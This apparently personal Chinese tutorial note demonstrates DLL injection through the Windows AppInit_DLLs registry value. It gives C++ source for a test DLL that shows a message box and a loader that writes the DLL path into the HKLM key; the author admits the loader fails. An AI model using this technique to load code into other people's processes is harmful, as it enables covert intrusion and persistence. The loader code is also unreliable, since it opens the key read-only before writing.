注册表路径:
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
此注册表注入是一种很简单的注入手法,主要依赖于两个表项AppInit_DLLs和LoadAppInit_DLLs,前者写入dll完整路径,后者值写为1。User32.dll在被加载到内存的时候,会读取AppInit_Dlls的值,如果有值,则通过LoadLibrary来加载dll。
利用vc生成简单dll
// 注册表注入DLL.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include <windows.h>
void Threads()
{
MessageBox(NULL,"注入成功","success",MB_OK);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Threads,0,0,NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
更该注册表值,路径改为生成的dll路径。(win7以下能实现)
打开ie,成功弹窗。
注册表注入dll代码
//注册表代码实现
/*
LONG RegOpenKeyEx
(
HKEY hkey;已经打开的句柄
LPCTSTR IpSubKey;子键的名称
DWORD uIOptions;保留
REGSAM samDesired;安全访问标记
PHKEY phkResult;指向将要代开的键的句柄
)
LONG RegSetValueEX
(
HKEY hKey; 句柄
LPCTSTR IpValueName 名字
DWORD Reserved 一般为0
DWORD dwType 类型
Const BYTE *IpData 文件路径
DWORD cbData 大小
)
*/
#include<iostream>
#include <windows.h>
using namespace std;
int main(int argc,char* argv[])
{
HKEY hOpen;
LPCSTR data="c:\\zhucebiaozhuru.dll";
if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",0,KEY_READ,&hOpen))
{
printf("1打开successs!\n");
if(ERROR_SUCCESS==RegSetValueEx(hOpen,"AppInit_DLLs",0,(DWORD)REG_SZ,(BYTE*)data,strlen(data)+1))
{
printf("2打开successs!\n");
}
}else
{
printf("打开失败!!");
}
/* 测试代码
if(ERROR_SUCCESS==RegSetValueEx(hOpen,"520",0,(DWORD)REG_SZ,(BYTE*)data,strlen(data)+1))
{
printf("2打开successs!\n");
}*/
return 0;
}
但是没有实现,不知道哪里写错了,还是安全机制问题。